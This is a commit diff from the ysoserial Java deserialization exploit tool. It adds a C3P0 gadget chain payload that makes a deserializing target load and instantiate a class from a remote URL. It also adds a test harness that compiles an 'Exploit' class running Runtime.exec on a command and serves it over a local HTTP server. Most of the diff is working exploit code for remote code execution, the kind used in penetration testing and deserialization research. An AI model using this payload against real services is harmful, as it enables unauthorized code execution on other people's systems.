mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
Add C3P0 gadget chain.
Add remote classloading test harness.
This commit is contained in:
@@ -74,6 +74,13 @@
|
||||
<version>1.8.0</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.nanohttpd</groupId>
|
||||
<artifactId>nanohttpd</artifactId>
|
||||
<version>2.2.0</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
|
||||
|
||||
<!-- non-gadget dependencies -->
|
||||
|
||||
@@ -157,6 +164,11 @@
|
||||
<artifactId>commons-fileupload</artifactId>
|
||||
<version>1.3</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.mchange</groupId>
|
||||
<artifactId>c3p0</artifactId>
|
||||
<version>0.9.5.2</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<profiles>
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.io.PrintWriter;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
|
||||
import ysoserial.PayloadTest;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*
|
||||
* com.sun.jndi.rmi.registry.RegistryContext->lookup
|
||||
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
|
||||
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
|
||||
*
|
||||
* Arguments:
|
||||
* - base_url:classname
|
||||
*
|
||||
* Yields:
|
||||
* - Instantiation of remotely loaded class
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
|
||||
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
|
||||
public class C3P0 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject ( String command ) throws Exception {
|
||||
int sep = command.lastIndexOf(':');
|
||||
if ( sep < 0 ) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private String className;
|
||||
private String url;
|
||||
/**
|
||||
* @param className
|
||||
* @param url
|
||||
*/
|
||||
public PoolSource ( String className, String url ) {
|
||||
this.className = className;
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public Reference getReference () throws NamingException {
|
||||
return new Reference("exploit", this.className, this.url);
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter () throws SQLException {return null;}
|
||||
public void setLogWriter ( PrintWriter out ) throws SQLException {}
|
||||
public void setLoginTimeout ( int seconds ) throws SQLException {}
|
||||
public int getLoginTimeout () throws SQLException {return 0;}
|
||||
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
|
||||
public PooledConnection getPooledConnection () throws SQLException {return null;}
|
||||
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
|
||||
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(C3P0.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
/**
|
||||
* © 2016 AgNO3 Gmbh & Co. KG
|
||||
* All right reserved.
|
||||
*
|
||||
* Created: 05.03.2016 by mbechler
|
||||
*/
|
||||
package ysoserial;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public interface CustomPayloadArgs {
|
||||
|
||||
|
||||
String getPayloadArgs ();
|
||||
|
||||
}
|
||||
@@ -6,9 +6,7 @@ import java.util.concurrent.Callable;
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public interface CustomTest {
|
||||
public interface CustomTest extends CustomPayloadArgs {
|
||||
|
||||
void run (Callable<Object> payload) throws Exception;
|
||||
|
||||
String getPayloadArgs ();
|
||||
}
|
||||
|
||||
@@ -6,8 +6,8 @@ import java.util.concurrent.Callable;
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public interface WrappedTest {
|
||||
public interface WrappedTest extends CustomPayloadArgs {
|
||||
|
||||
Callable<Object> createCallable ( Callable<Object> innerCallable );
|
||||
|
||||
|
||||
}
|
||||
|
||||
@@ -23,6 +23,7 @@ import org.junit.runner.RunWith;
|
||||
import org.junit.runners.Parameterized;
|
||||
import org.junit.runners.Parameterized.Parameters;
|
||||
|
||||
import ysoserial.CustomPayloadArgs;
|
||||
import ysoserial.CustomTest;
|
||||
import ysoserial.Deserializer;
|
||||
import ysoserial.PayloadTest;
|
||||
@@ -91,17 +92,23 @@ public class PayloadsTest {
|
||||
}
|
||||
}
|
||||
|
||||
String payloadCommand = command;
|
||||
Object wrapper = null;
|
||||
if ( t != null && !t.harness().isEmpty() ) {
|
||||
wrapper = Class.forName(t.harness()).newInstance();
|
||||
Class<?> wrapperClass = Class.forName(t.harness());
|
||||
try {
|
||||
wrapper = wrapperClass.getConstructor(String.class).newInstance(command);
|
||||
} catch ( NoSuchMethodException e ) {
|
||||
wrapper = wrapperClass.newInstance();
|
||||
}
|
||||
|
||||
if ( wrapper instanceof CustomTest ) {
|
||||
command = ( (CustomTest) wrapper ).getPayloadArgs();
|
||||
if ( wrapper instanceof CustomPayloadArgs ) {
|
||||
payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs();
|
||||
}
|
||||
}
|
||||
|
||||
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
||||
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, command));
|
||||
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand));
|
||||
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized);
|
||||
if ( wrapper instanceof WrappedTest ) {
|
||||
callable = ( (WrappedTest) wrapper ).createCallable(callable);
|
||||
@@ -119,9 +126,13 @@ public class PayloadsTest {
|
||||
catch ( Throwable e ) {
|
||||
// hopefully everything will reliably nest our ExecException
|
||||
Throwable innerEx = Throwables.getInnermostCause(e);
|
||||
if ( ! ( innerEx instanceof ExecException ) ) {
|
||||
innerEx.printStackTrace();
|
||||
}
|
||||
Assert.assertEquals(ExecException.class, innerEx.getClass());
|
||||
Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
|
||||
}
|
||||
|
||||
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
|
||||
}
|
||||
|
||||
@@ -171,11 +182,11 @@ public class PayloadsTest {
|
||||
/**
|
||||
* @param payloadClass
|
||||
* @return
|
||||
* @throws SecurityException
|
||||
* @throws NoSuchMethodException
|
||||
* @throws InvocationTargetException
|
||||
* @throws IllegalArgumentException
|
||||
* @throws IllegalAccessException
|
||||
* @throws SecurityException
|
||||
* @throws NoSuchMethodException
|
||||
* @throws InvocationTargetException
|
||||
* @throws IllegalArgumentException
|
||||
* @throws IllegalAccessException
|
||||
*/
|
||||
private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
|
||||
String[] baseDeps;
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
/**
|
||||
* © 2016 AgNO3 Gmbh & Co. KG
|
||||
* All right reserved.
|
||||
*
|
||||
* Created: 05.03.2016 by mbechler
|
||||
*/
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import fi.iki.elonen.NanoHTTPD;
|
||||
import fi.iki.elonen.NanoHTTPD.Response.Status;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import ysoserial.WrappedTest;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public class RemoteClassLoadingTest implements WrappedTest {
|
||||
|
||||
private int port;
|
||||
private String command;
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
public RemoteClassLoadingTest ( String command ) {
|
||||
this.command = command;
|
||||
this.port = new Random().nextInt(65535-1024)+1024;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see ysoserial.WrappedTest#getPayloadArgs()
|
||||
*/
|
||||
public String getPayloadArgs () {
|
||||
return String.format("http://localhost:%d/", this.port) + ":Exploit";
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see ysoserial.WrappedTest#createCallable(java.util.concurrent.Callable)
|
||||
*/
|
||||
public Callable<Object> createCallable ( Callable<Object> innerCallable ) {
|
||||
return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);
|
||||
}
|
||||
|
||||
|
||||
private byte[] makePayloadClass () {
|
||||
try {
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath(new ClassClassPath(Exploit.class));
|
||||
final CtClass clazz = pool.get(Exploit.class.getName());
|
||||
clazz.setName("Exploit");
|
||||
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
|
||||
return clazz.toBytecode();
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace();
|
||||
return new byte[0];
|
||||
}
|
||||
}
|
||||
|
||||
static final class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable<Object> {
|
||||
|
||||
private Callable<Object> innerCallable;
|
||||
private byte[] data;
|
||||
|
||||
|
||||
/**
|
||||
* @param innerCallable
|
||||
*/
|
||||
public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {
|
||||
super(port);
|
||||
this.data = data;
|
||||
this.innerCallable = innerCallable;
|
||||
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see java.util.concurrent.Callable#call()
|
||||
*/
|
||||
public Object call () throws Exception {
|
||||
try {
|
||||
setup();
|
||||
return this.innerCallable.call();
|
||||
}
|
||||
finally {
|
||||
cleanup();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @throws IOException
|
||||
*
|
||||
*/
|
||||
private void setup () throws IOException {
|
||||
start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
*
|
||||
*/
|
||||
private void cleanup () {
|
||||
stop();
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*
|
||||
* @see fi.iki.elonen.NanoHTTPD#serve(fi.iki.elonen.NanoHTTPD.IHTTPSession)
|
||||
*/
|
||||
@Override
|
||||
public Response serve ( IHTTPSession sess ) {
|
||||
return newFixedLengthResponse(Status.OK, "application/octet-stream", new ByteArrayInputStream(data), data.length);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private static class Exploit {
|
||||
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user